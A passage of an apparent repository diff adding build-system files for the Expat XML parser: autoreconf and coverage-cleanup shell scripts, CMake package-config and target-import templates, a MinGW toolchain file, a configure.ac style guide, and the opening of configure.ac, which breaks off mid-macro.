| sort \
| xargs clang-format "${clang_format_args[@]}"
sed \
-e 's, @$,@,' \
-e 's,#\( \+\)cmakedefine,#cmakedefine,' \
-i \
expat_config.h.cmake
+55
View File
@@ -0,0 +1,55 @@
#! /usr/bin/env bash
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017-2022 Sebastian Pipping <sebastian@pipping.org>
# Copyright (c) 2018 Marco Maggi <marco.maggi-ipsu@poste.it>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set -e
# File expat_config.h.in (as generated by autoheader by autoreconf) contains
# macro SIZEOF_VOID_P which is (1) not really needed by Expat as of today and
# (2) a problem to "multilib" systems with one shared installed
# /usr/include/expat_config.h for two Expats with different "void *" sizes
# installed in e.g. /usr/lib32 and /usr/lib64. Hence we patch macro
# SIZEOF_VOID_P out of template expat_config.h.in so that configure will
# not put SIZEOF_VOID_P in the eventual expat_config.h.
patch_expat_config_h_in() {
local filename="$1"
local sizeof_void_p_line_number="$(grep -F -n SIZEOF_VOID_P "${filename}" | awk -F: '{print $1}')"
[[ ${sizeof_void_p_line_number} =~ ^[0-9]+$ ]] # cheap assert
local first_line_to_delete=$(( sizeof_void_p_line_number - 1 ))
local last_line_to_delete=$(( sizeof_void_p_line_number + 1 ))
# Note: Avoiding "sed -i" only for macOS portability.
local tempfile="$(mktemp)"
sed "${first_line_to_delete},${last_line_to_delete}d" "${filename}" > "${tempfile}"
mv "${tempfile}" "${filename}"
}
autoreconf --warnings=all --install --verbose "$@"
patch_expat_config_h_in expat_config.h.in
+38
View File
@@ -0,0 +1,38 @@
#!/usr/bin/env bash
# Clean source directory after running the coverage script.
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2017 Rhodri James <rhodri@wildebeest.org.uk>
# Copyright (c) 2018 Marco Maggi <marco.maggi-ipsu@poste.it>
# Copyright (c) 2019 Sebastian Pipping <sebastian@pipping.org>
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
rm -r build__*
rm -r coverage__*
rm -r source__*
### end of file
+3
View File
@@ -0,0 +1,3 @@
/expat-config.cmake
/expat-config-version.cmake
/expat-targets.cmake
+2
View File
@@ -0,0 +1,2 @@
/expat-config-version.cmake
/expat-noconfig.cmake
@@ -0,0 +1,70 @@
# This is a basic version file for the Config-mode of find_package().
# It is used by write_basic_package_version_file() as input file for configure_file()
# to create a version-file which can be installed along a config.cmake file.
#
# The created file sets PACKAGE_VERSION_EXACT if the current version string and
# the requested version string are exactly the same and it sets
# PACKAGE_VERSION_COMPATIBLE if the current version is >= requested version,
# but only if the requested major version is the same as the current one.
# The variable CVF_VERSION must be set before calling configure_file().
set(PACKAGE_VERSION "@PACKAGE_VERSION@")
if(PACKAGE_VERSION VERSION_LESS PACKAGE_FIND_VERSION)
set(PACKAGE_VERSION_COMPATIBLE FALSE)
else()
if("@PACKAGE_VERSION@" MATCHES "^([0-9]+)\\.")
set(CVF_VERSION_MAJOR "${CMAKE_MATCH_1}")
if(NOT CVF_VERSION_MAJOR VERSION_EQUAL 0)
string(REGEX REPLACE "^0+" "" CVF_VERSION_MAJOR "${CVF_VERSION_MAJOR}")
endif()
else()
set(CVF_VERSION_MAJOR "@PACKAGE_VERSION@")
endif()
if(PACKAGE_FIND_VERSION_RANGE)
# both endpoints of the range must have the expected major version
math (EXPR CVF_VERSION_MAJOR_NEXT "${CVF_VERSION_MAJOR} + 1")
if (NOT PACKAGE_FIND_VERSION_MIN_MAJOR STREQUAL CVF_VERSION_MAJOR
OR ((PACKAGE_FIND_VERSION_RANGE_MAX STREQUAL "INCLUDE" AND NOT PACKAGE_FIND_VERSION_MAX_MAJOR STREQUAL CVF_VERSION_MAJOR)
OR (PACKAGE_FIND_VERSION_RANGE_MAX STREQUAL "EXCLUDE" AND NOT PACKAGE_FIND_VERSION_MAX VERSION_LESS_EQUAL CVF_VERSION_MAJOR_NEXT)))
set(PACKAGE_VERSION_COMPATIBLE FALSE)
elseif(PACKAGE_FIND_VERSION_MIN_MAJOR STREQUAL CVF_VERSION_MAJOR
AND ((PACKAGE_FIND_VERSION_RANGE_MAX STREQUAL "INCLUDE" AND PACKAGE_VERSION VERSION_LESS_EQUAL PACKAGE_FIND_VERSION_MAX)
OR (PACKAGE_FIND_VERSION_RANGE_MAX STREQUAL "EXCLUDE" AND PACKAGE_VERSION VERSION_LESS PACKAGE_FIND_VERSION_MAX)))
set(PACKAGE_VERSION_COMPATIBLE TRUE)
else()
set(PACKAGE_VERSION_COMPATIBLE FALSE)
endif()
else()
if(PACKAGE_FIND_VERSION_MAJOR STREQUAL CVF_VERSION_MAJOR)
set(PACKAGE_VERSION_COMPATIBLE TRUE)
else()
set(PACKAGE_VERSION_COMPATIBLE FALSE)
endif()
if(PACKAGE_FIND_VERSION STREQUAL PACKAGE_VERSION)
set(PACKAGE_VERSION_EXACT TRUE)
endif()
endif()
endif()
# if the installed project requested no architecture check, don't perform the check
if("FALSE")
return()
endif()
# if the installed or the using project don't have CMAKE_SIZEOF_VOID_P set, ignore it:
if("${CMAKE_SIZEOF_VOID_P}" STREQUAL "" OR "@ac_cv_sizeof_void_p@" STREQUAL "")
return()
endif()
# check that the installed version has the same 32/64bit-ness as the one which is currently searching:
if(NOT CMAKE_SIZEOF_VOID_P STREQUAL "@ac_cv_sizeof_void_p@")
math(EXPR installedBits "@ac_cv_sizeof_void_p@ * 8")
set(PACKAGE_VERSION "${PACKAGE_VERSION} (${installedBits}bit)")
set(PACKAGE_VERSION_UNSUITABLE TRUE)
endif()
@@ -0,0 +1,19 @@
#----------------------------------------------------------------
# Generated CMake target import file for configuration "NoConfig".
#----------------------------------------------------------------
# Commands may need to know the format version.
set(CMAKE_IMPORT_FILE_VERSION 1)
# Import target "expat::expat" for configuration "NoConfig"
set_property(TARGET expat::expat APPEND PROPERTY IMPORTED_CONFIGURATIONS NOCONFIG)
set_target_properties(expat::expat PROPERTIES
IMPORTED_LOCATION_NOCONFIG "${_IMPORT_PREFIX}/@LIBDIR_BASENAME@/libexpat.so.@SO_MAJOR@.@SO_MINOR@.@SO_PATCH@"
IMPORTED_SONAME_NOCONFIG "libexpat.so.@SO_MAJOR@"
)
list(APPEND _cmake_import_check_targets expat::expat )
list(APPEND _cmake_import_check_files_for_expat::expat "${_IMPORT_PREFIX}/@LIBDIR_BASENAME@/libexpat.so.@SO_MAJOR@.@SO_MINOR@.@SO_PATCH@" )
# Commands beyond this point should not need to know the version.
set(CMAKE_IMPORT_FILE_VERSION)
@@ -0,0 +1,19 @@
#----------------------------------------------------------------
# Generated CMake target import file for configuration "NoConfig".
#----------------------------------------------------------------
# Commands may need to know the format version.
set(CMAKE_IMPORT_FILE_VERSION 1)
# Import target "expat::expat" for configuration "NoConfig"
set_property(TARGET expat::expat APPEND PROPERTY IMPORTED_CONFIGURATIONS NOCONFIG)
set_target_properties(expat::expat PROPERTIES
IMPORTED_LOCATION_NOCONFIG "${_IMPORT_PREFIX}/@LIBDIR_BASENAME@/libexpat.@SO_MAJOR@.@SO_MINOR@.@SO_PATCH@.dylib"
IMPORTED_SONAME_NOCONFIG "@rpath/libexpat.@SO_MAJOR@.dylib"
)
list(APPEND _cmake_import_check_targets expat::expat )
list(APPEND _cmake_import_check_files_for_expat::expat "${_IMPORT_PREFIX}/@LIBDIR_BASENAME@/libexpat.@SO_MAJOR@.@SO_MINOR@.@SO_PATCH@.dylib" )
# Commands beyond this point should not need to know the version.
set(CMAKE_IMPORT_FILE_VERSION)
@@ -0,0 +1,19 @@
#----------------------------------------------------------------
# Generated CMake target import file for configuration "NoConfig".
#----------------------------------------------------------------
# Commands may need to know the format version.
set(CMAKE_IMPORT_FILE_VERSION 1)
# Import target "expat::expat" for configuration "NoConfig"
set_property(TARGET expat::expat APPEND PROPERTY IMPORTED_CONFIGURATIONS NOCONFIG)
set_target_properties(expat::expat PROPERTIES
IMPORTED_IMPLIB_NOCONFIG "${_IMPORT_PREFIX}/@LIBDIR_BASENAME@/libexpat.dll.a"
IMPORTED_LOCATION_NOCONFIG "${_IMPORT_PREFIX}/bin/@CMAKE_SHARED_LIBRARY_PREFIX@expat-@SO_MAJOR@.dll"
)
list(APPEND _cmake_import_check_targets expat::expat )
list(APPEND _cmake_import_check_files_for_expat::expat "${_IMPORT_PREFIX}/@LIBDIR_BASENAME@/libexpat.dll.a" "${_IMPORT_PREFIX}/bin/@CMAKE_SHARED_LIBRARY_PREFIX@expat-@SO_MAJOR@.dll" )
# Commands beyond this point should not need to know the version.
set(CMAKE_IMPORT_FILE_VERSION)
@@ -0,0 +1,25 @@
####### Expanded from @PACKAGE_INIT@ by configure_package_config_file() #######
####### Any changes to this file will be overwritten by the next CMake run ####
####### The input file was expat-config.cmake.in ########
get_filename_component(PACKAGE_PREFIX_DIR "${CMAKE_CURRENT_LIST_DIR}/../../../" ABSOLUTE)
macro(set_and_check _var _file)
set(${_var} "${_file}")
if(NOT EXISTS "${_file}")
message(FATAL_ERROR "File or directory ${_file} referenced by variable ${_var} does not exist !")
endif()
endmacro()
macro(check_required_components _NAME)
foreach(comp ${${_NAME}_FIND_COMPONENTS})
if(NOT ${_NAME}_${comp}_FOUND)
if(${_NAME}_FIND_REQUIRED_${comp})
set(${_NAME}_FOUND FALSE)
endif()
endif()
endforeach()
endmacro()
####################################################################################
+107
View File
@@ -0,0 +1,107 @@
# Generated by CMake
if("${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}" LESS 2.8)
message(FATAL_ERROR "CMake >= 2.8.0 required")
endif()
if(CMAKE_VERSION VERSION_LESS "2.8.3")
message(FATAL_ERROR "CMake >= 2.8.3 required")
endif()
cmake_policy(PUSH)
cmake_policy(VERSION 2.8.3...3.22)
#----------------------------------------------------------------
# Generated CMake target import file.
#----------------------------------------------------------------
# Commands may need to know the format version.
set(CMAKE_IMPORT_FILE_VERSION 1)
# Protect against multiple inclusion, which would fail when already imported targets are added once more.
set(_cmake_targets_defined "")
set(_cmake_targets_not_defined "")
set(_cmake_expected_targets "")
foreach(_cmake_expected_target IN ITEMS expat::expat)
list(APPEND _cmake_expected_targets "${_cmake_expected_target}")
if(TARGET "${_cmake_expected_target}")
list(APPEND _cmake_targets_defined "${_cmake_expected_target}")
else()
list(APPEND _cmake_targets_not_defined "${_cmake_expected_target}")
endif()
endforeach()
unset(_cmake_expected_target)
if(_cmake_targets_defined STREQUAL _cmake_expected_targets)
unset(_cmake_targets_defined)
unset(_cmake_targets_not_defined)
unset(_cmake_expected_targets)
unset(CMAKE_IMPORT_FILE_VERSION)
cmake_policy(POP)
return()
endif()
if(NOT _cmake_targets_defined STREQUAL "")
string(REPLACE ";" ", " _cmake_targets_defined_text "${_cmake_targets_defined}")
string(REPLACE ";" ", " _cmake_targets_not_defined_text "${_cmake_targets_not_defined}")
message(FATAL_ERROR "Some (but not all) targets in this export set were already defined.\nTargets Defined: ${_cmake_targets_defined_text}\nTargets not yet defined: ${_cmake_targets_not_defined_text}\n")
endif()
unset(_cmake_targets_defined)
unset(_cmake_targets_not_defined)
unset(_cmake_expected_targets)
# Compute the installation prefix relative to this file.
get_filename_component(_IMPORT_PREFIX "${CMAKE_CURRENT_LIST_FILE}" PATH)
get_filename_component(_IMPORT_PREFIX "${_IMPORT_PREFIX}" PATH)
get_filename_component(_IMPORT_PREFIX "${_IMPORT_PREFIX}" PATH)
get_filename_component(_IMPORT_PREFIX "${_IMPORT_PREFIX}" PATH)
if(_IMPORT_PREFIX STREQUAL "/")
set(_IMPORT_PREFIX "")
endif()
# Create imported target expat::expat
add_library(expat::expat SHARED IMPORTED)
set_target_properties(expat::expat PROPERTIES
INTERFACE_INCLUDE_DIRECTORIES "${_IMPORT_PREFIX}/include"
INTERFACE_LINK_LIBRARIES "m"
)
if(CMAKE_VERSION VERSION_LESS 2.8.12)
message(FATAL_ERROR "This file relies on consumers using CMake 2.8.12 or greater.")
endif()
# Load information for each installed configuration.
file(GLOB _cmake_config_files "${CMAKE_CURRENT_LIST_DIR}/expat-*.cmake")
foreach(_cmake_config_file IN LISTS _cmake_config_files)
include("${_cmake_config_file}")
endforeach()
unset(_cmake_config_file)
unset(_cmake_config_files)
# Cleanup temporary variables.
set(_IMPORT_PREFIX)
# Loop over all imported files and verify that they actually exist
foreach(_cmake_target IN LISTS _cmake_import_check_targets)
foreach(_cmake_file IN LISTS "_cmake_import_check_files_for_${_cmake_target}")
if(NOT EXISTS "${_cmake_file}")
message(FATAL_ERROR "The imported target \"${_cmake_target}\" references the file
\"${_cmake_file}\"
but this file does not exist. Possible reasons include:
* The file was deleted, renamed, or moved to another location.
* An install or uninstall procedure did not complete successfully.
* The installation package was faulty and contained
\"${CMAKE_CURRENT_LIST_FILE}\"
but not all the files it references.
")
endif()
endforeach()
unset(_cmake_file)
unset("_cmake_import_check_files_for_${_cmake_target}")
endforeach()
unset(_cmake_target)
unset(_cmake_import_check_targets)
# This file does not depend on other imported targets which have
# been exported from the same project but in a separate export set.
# Commands beyond this point should not need to know the version.
set(CMAKE_IMPORT_FILE_VERSION)
cmake_policy(POP)
+75
View File
@@ -0,0 +1,75 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2019 Expat development team
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
#
if(NOT _expat_config_included)
# Protect against multiple inclusion
set(_expat_config_included TRUE)
include("${CMAKE_CURRENT_LIST_DIR}/expat.cmake")
@PACKAGE_INIT@
#
# Supported components
#
macro(expat_register_component _NAME _AVAILABE)
set(expat_${_NAME}_FOUND ${_AVAILABE})
endmacro()
expat_register_component(attr_info @EXPAT_ATTR_INFO@)
expat_register_component(dtd @EXPAT_DTD@)
expat_register_component(large_size @EXPAT_LARGE_SIZE@)
expat_register_component(min_size @EXPAT_MIN_SIZE@)
expat_register_component(ns @EXPAT_NS@)
if(@EXPAT_CONTEXT_BYTES@)
expat_register_component(context_bytes ON)
else()
expat_register_component(context_bytes OFF)
endif()
if("@EXPAT_CHAR_TYPE@" STREQUAL "char")
expat_register_component(char ON)
expat_register_component(ushort OFF)
expat_register_component(wchar_t OFF)
elseif("@EXPAT_CHAR_TYPE@" STREQUAL "ushort")
expat_register_component(char OFF)
expat_register_component(ushort ON)
expat_register_component(wchar_t OFF)
elseif("@EXPAT_CHAR_TYPE@" STREQUAL "wchar_t")
expat_register_component(char OFF)
expat_register_component(ushort OFF)
expat_register_component(wchar_t ON)
endif()
check_required_components(expat)
endif(NOT _expat_config_included)
+37
View File
@@ -0,0 +1,37 @@
# __ __ _
# ___\ \/ /_ __ __ _| |_
# / _ \\ /| '_ \ / _` | __|
# | __// \| |_) | (_| | |_
# \___/_/\_\ .__/ \__,_|\__|
# |_| XML parser
#
# Copyright (c) 2019 Expat development team
# Licensed under the MIT license:
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the
# following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
# NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
# USE OR OTHER DEALINGS IN THE SOFTWARE.
set(CMAKE_SYSTEM_NAME Windows)
set(CMAKE_C_COMPILER i686-w64-mingw32-gcc)
set(CMAKE_CXX_COMPILER i686-w64-mingw32-g++)
set(CMAKE_RC_COMPILER i686-w64-mingw32-windres)
set(WIN32 ON)
set(MINGW ON)
+85
View File
@@ -0,0 +1,85 @@
# Style guidelines for `configure.ac`
Version `2019.08.09.21.54`
## Purpose
Define a small set of rules for style used in Expat's `configure.ac`
so that we have a common ground and something documented to refer to
in pull requests, when style is off.
## 1. Quoting
Quote "everything":
```
AC_DEFINE([HAVE_FOO], [1], [Define to 1 if you have the `foo' function.])
```
## 2. Parameter indentation
Parameters to functions either go
- (a) on the the same line or
- (b) align vertically or
- (c) go to the next line, with the first character indented 2 spaces more
than the first *non-`[`*(!) parent level character,
i.e. 2 or [3 columns further right](https://www.gnu.org/software/autoconf/manual/autoconf-2.69/html_node/Autoconf-Language.html):
```
CALL([parameter], [parameter], [parameter])
CALL([parameter],
[parameter],
[parameter])
CALL([parameter], [parameter],
[CALL(
[CALL()])])
^ ^
| 2 + 3(!) spaces
2 spaces
```
## 3. Consecutive call / multi-line indentation
Consecutive calls to macros (= on the the same nesting level) are aligned vertically:
```
CALL([parameter],
[CALL([])
CALL([])
CALL([])])
```
## 4. Closing bracket placement
Closing braces accumulate on the same line in general...
```
CALL(
[CALL([CALL([])],
[CALL([])])
CALL([])])
```
...but can go a new line (e.g. with `AC_LANG_SOURCE`) to match parameter indentation rule (2), i.e. either
```
CALL([CALL([
one
two
])],
[CALL()])
```
.. or ..
```
CALL([CALL([
one
two
])],
[CALL()])
```
EOF
+441
View File
@@ -0,0 +1,441 @@
dnl configuration script for expat
dnl Process this file with autoconf to produce a configure script.
dnl __ __ _
dnl ___\ \/ /_ __ __ _| |_
dnl / _ \\ /| '_ \ / _` | __|
dnl | __// \| |_) | (_| | |_
dnl \___/_/\_\ .__/ \__,_|\__|
dnl |_| XML parser
dnl
dnl Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net>
dnl Copyright (c) 2000-2005 Fred L. Drake, Jr. <fdrake@users.sourceforge.net>
dnl Copyright (c) 2001-2003 Greg Stein <gstein@users.sourceforge.net>
dnl Copyright (c) 2006-2012 Karl Waclawek <karl@waclawek.net>
dnl Copyright (c) 2016-2022 Sebastian Pipping <sebastian@pipping.org>
dnl Copyright (c) 2017 S. P. Zeidler <spz@netbsd.org>
dnl Copyright (c) 2017 Stephen Groat <stephen@groat.us>
dnl Copyright (c) 2017-2020 Joe Orton <jorton@redhat.com>
dnl Copyright (c) 2018 Yury Gribov <tetra2005@gmail.com>
dnl Copyright (c) 2018 Benjamin Peterson <benjamin@python.org>
dnl Copyright (c) 2018 Marco Maggi <marco.maggi-ipsu@poste.it>
dnl Copyright (c) 2018 KangLin <kl222@126.com>
dnl Copyright (c) 2019 Mohammed Khajapasha <mohammed.khajapasha@intel.com>
dnl Copyright (c) 2019 Kishore Kunche <kishore.kunche@intel.com>
dnl Copyright (c) 2020 Jeffrey Walton <noloader@gmail.com>
dnl Licensed under the MIT license:
dnl
dnl Permission is hereby granted, free of charge, to any person obtaining
dnl a copy of this software and associated documentation files (the
dnl "Software"), to deal in the Software without restriction, including
dnl without limitation the rights to use, copy, modify, merge, publish,
dnl distribute, sublicense, and/or sell copies of the Software, and to permit
dnl persons to whom the Software is furnished to do so, subject to the
dnl following conditions:
dnl
dnl The above copyright notice and this permission notice shall be included
dnl in all copies or substantial portions of the Software.
dnl
dnl THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
dnl EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
dnl MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
dnl NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
dnl DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
dnl OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
dnl USE OR OTHER DEALINGS IN THE SOFTWARE.
dnl Ensure that Expat is configured with autoconf 2.69 or newer.
AC_PREREQ([2.69])
dnl Get the version number of Expat, using m4's esyscmd() command to run
dnl the command at m4-generation time. This allows us to create an m4
dnl symbol holding the correct version number. AC_INIT requires the
dnl version number at m4-time, rather than when ./configure is run, so
dnl all this must happen as part of m4, not as part of the shell code
dnl contained in ./configure.
dnl
dnl NOTE: esyscmd() is a GNU M4 extension. Thus, we wrap it in an appropriate
dnl test. I believe this test will work, but I don't have a place with non-
dnl GNU M4 to test it right now.
m4_define([expat_version],
m4_ifdef([__gnu__],
[esyscmd(conftools/get-version.sh lib/expat.h)],
[2.2.x]))
AC_INIT([expat], expat_version, [expat-bugs@libexpat.org])
m4_undefine([expat_version])
AC_CONFIG_SRCDIR([Makefile.in])
AC_CONFIG_AUX_DIR([conftools])
AC_CONFIG_MACRO_DIR([m4])
AC_CANONICAL_HOST
AM_INIT_AUTOMAKE
dnl
dnl Increment LIBREVISION if source code has changed at all
dnl
dnl If the API has changed, increment LIBCURRENT and set LIBREVISION to 0
dnl
dnl If the API changes compatibly (i.e. simply adding a new function
dnl without changing or removing earlier interfaces), then increment LIBAGE.
dnl
dnl If the API changes incompatibly set LIBAGE back to 0
dnl
LIBCURRENT=9 # sync
LIBREVISION=10 # with
LIBAGE=8 # CMakeLists.txt!
AC_CONFIG_HEADERS([expat_config.h])
AH_TOP([#ifndef EXPAT_CONFIG_H
#define EXPAT_CONFIG_H 1])
AH_BOTTOM([#endif // ndef EXPAT_CONFIG_H])
AM_PROG_AR
AC_PROG_INSTALL
AC_PROG_LN_S
AC_PROG_MAKE_SET
LT_PREREQ([2.4])
LT_INIT([win32-dll])
AC_SUBST(LIBCURRENT)
AC_SUBST(LIBREVISION)
AC_SUBST(LIBAGE)
AC_LANG([C])
AC_PROG_CC_C99
AS_IF([test "$GCC" = yes],
[AX_APPEND_COMPILE_FLAGS([-Wall -Wextra], [AM_CFLAGS])
dnl Be careful about adding the -fexceptions option; some versions of
dnl GCC don't support it and it causes extra warnings that are only
dnl distracting; avoid.
AX_APPEND_COMPILE_FLAGS([-fexceptions], [AM_CFLAGS])
AX_APPEND_COMPILE_FLAGS([-fno-strict-aliasing -Wmissing-prototypes -Wstrict-prototypes], [AM_CFLAGS])
AX_APPEND_COMPILE_FLAGS([-pedantic -Wduplicated-cond -Wduplicated-branches -Wlogical-op], [AM_CFLAGS])
AX_APPEND_COMPILE_FLAGS([-Wrestrict -Wnull-dereference -Wjump-misses-init -Wdouble-promotion], [AM_CFLAGS])
AX_APPEND_COMPILE_FLAGS([-Wshadow -Wformat=2 -Wno-pedantic-ms-format -Wmisleading-indentation], [AM_CFLAGS])])
AC_LANG_PUSH([C++])
AC_PROG_CXX
AS_IF([test "$GCC" = yes],
[AX_APPEND_COMPILE_FLAGS([-Wall -Wextra], [AM_CXXFLAGS])
dnl Be careful about adding the -fexceptions option; some versions of
dnl GCC don't support it and it causes extra warnings that are only
dnl distracting; avoid.
AX_APPEND_COMPILE_FLAGS([-fexceptions], [AM_CXXFLAGS])
AX_APPEND_COMPILE_FLAGS([-fno-strict-aliasing], [AM_CXXFLAGS])])
AC_LANG_POP([C++])
AS_IF([test "$GCC" = yes],
[AX_APPEND_LINK_FLAGS([-fno-strict-aliasing],[AM_LDFLAGS])])
dnl patching ${archive_cmds} to affect generation of file "libtool" to fix linking with clang (issue #312)
AS_CASE(["$LD"],[*clang*],
[AS_CASE(["${host_os}"],
[*linux*],[archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib'])])
EXPATCFG_COMPILER_SUPPORTS_VISIBILITY([
AX_APPEND_FLAG([-fvisibility=hidden], [AM_CFLAGS])
AS_IF([test "${enable_shared}" = yes],
[AX_APPEND_FLAG([-DXML_ENABLE_VISIBILITY=1], [AM_CPPFLAGS])])])
dnl Checks for typedefs, structures, and compiler characteristics.
dnl We define BYTEORDER to 1234 when the platform is little endian; it
dnl defines it to 4321 when the platform is big endian. We also define
dnl WORDS_BIGENDIAN to 1 when the platform is big endian.
dnl
dnl A long time ago (early 2000 years) AC_C_BIGENDIAN was considered
dnl wrong when cross compiling, now (2018, GNU Autoconf 2.69) we assume
dnl it is fine.
AC_C_BIGENDIAN([AC_DEFINE([WORDS_BIGENDIAN], 1)
AS_VAR_SET([BYTEORDER], 4321)],
[AS_VAR_SET([BYTEORDER], 1234)])
AC_DEFINE_UNQUOTED([BYTEORDER], $BYTEORDER, [1234 = LILENDIAN, 4321 = BIGENDIAN])
AC_C_CONST
AC_TYPE_SIZE_T
AC_ARG_WITH([xmlwf],
[AS_HELP_STRING([--without-xmlwf], [do not build xmlwf])],
[],
[with_xmlwf=yes])
AM_CONDITIONAL([WITH_XMLWF], [test x${with_xmlwf} = xyes])
AC_ARG_WITH([examples],
[AS_HELP_STRING([--without-examples], [do not build examples @<:@default=included@:>@])],
[],
[with_examples=yes])
AM_CONDITIONAL([WITH_EXAMPLES], [test x${with_examples} = xyes])
AC_ARG_WITH([tests],
[AS_HELP_STRING([--without-tests], [do not build tests @<:@default=included@:>@])],
[],
[with_tests=yes])
AM_CONDITIONAL([WITH_TESTS], [test x${with_tests} = xyes])
AS_VAR_SET([EXPATCFG_ON_MINGW],[no])
AS_CASE("${host_os}",
[mingw*],
[AS_VAR_SET([EXPATCFG_ON_MINGW],[yes])
AC_MSG_NOTICE([detected OS: MinGW])])
AM_CONDITIONAL([MINGW], [test x${EXPATCFG_ON_MINGW} = xyes])
dnl Note: Prefix "_INTERNAL_" here means exclusive use inside of file configure.ac
AM_CONDITIONAL([UNICODE], [echo -- "${CPPFLAGS}${CFLAGS}" | ${FGREP} XML_UNICODE >/dev/null])
AM_CONDITIONAL([_INTERNAL_UNICODE_WCHAR_T], [echo -- "${CPPFLAGS}${CFLAGS}" | ${FGREP} XML_UNICODE_WCHAR_T >/dev/null])
AM_CONDITIONAL([_INTERNAL_MIN_SIZE], [echo -- "${CPPFLAGS}${CFLAGS}" | ${FGREP} XML_MIN_SIZE >/dev/null])
AM_CONDITIONAL([_INTERNAL_LARGE_SIZE], [echo -- "${CPPFLAGS}${CFLAGS}" | ${FGREP} XML_LARGE_SIZE >/dev/null])
LT_LIB_M
AC_ARG_WITH([libbsd],
[AS_HELP_STRING([--with-libbsd], [utilize libbsd (for arc4random_buf)])],
[],
[with_libbsd=no])
AS_IF([test "x${with_libbsd}" != xno],
[AC_CHECK_LIB([bsd],
